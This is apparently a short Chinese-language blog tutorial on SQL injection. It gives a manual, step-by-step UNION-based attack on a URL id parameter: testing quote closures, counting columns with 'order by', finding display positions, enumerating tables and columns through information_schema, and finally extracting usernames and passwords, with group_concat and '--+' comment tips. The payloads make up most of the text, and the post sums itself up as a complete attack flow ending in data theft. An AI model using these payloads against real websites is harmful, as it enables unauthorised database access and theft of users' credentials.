sql注入,说白了本质就是一个应用sql语句构造程序的一个过程,通过在web中输入代码使后台认为其是数据便注入源码之中,从而达到某些意想不到的结果
手工查找注入点:
1. 1 #正常访问
2. 1' and 1=1; # 是不是跟正常结果一样
3. 1' and 1=2; # 是不是没有结果
4. 1' order by 1,2; # 猜列数
5. 1' and 1=2 union all select 1, 2; # 查看是否可以使用union all
6. 1' and 1=2 union all select 1, database(); # 获取当前数据库
7. 1' and 1=2 union all select TABLE_SCHEMA, TABLE_NAME from
其下阐述一点基本的sql注入原理和基本的注入步骤
1.寻找注入点,构造闭合直接在网页的地址口进行手工注入 url?id=1 所猜闭合 1=2 --+
若web报错,及无执行该语句,猜错;反正web崩溃及执行该语句,猜对 常见闭合 ( ) “ ” ' ' [ ] { } 或者直接无闭合
2.查看当前表总共有多少列 url?id=1 order by 所猜测的数字 --+
2.寻找显示位 url?id=-1’ union all select 1,2,3 --+
3.定位该网页所选用数据库 database()当前数据库 version() 数据库版本号
4.通过数据库查找web所用表 url?id=-1’ union all select 1,table_name,3 from information_schema.tables where table_schema=’当前数据库’ --+
5.通过已知数据库和表名查找该表内所有列名 url?id=-1’ union all select 1,column_name,3 from information_schema.columns where table_schema=’当前数据库’ and table_name=’当前表名’ --+
6.最后一只数据库,表名,列名后,直接查询数据库中的用户名和密码
url?id=-1 union all select 1,用户名,密码 from 表名
PS:若显示内容过少可调用函数group_concat(要查找内容) 即可将行与列互换显示
--+ 是#注释符的url转码
本文深入解析SQL注入的原理,提供了一套完整的攻击流程,包括如何寻找注入点、确定列数、选择数据库、定位表名与列名,以及最终的数据窃取方法。同时,介绍了常用的SQL注入技巧和闭合符号。
635

被折叠的 条评论
为什么被折叠?



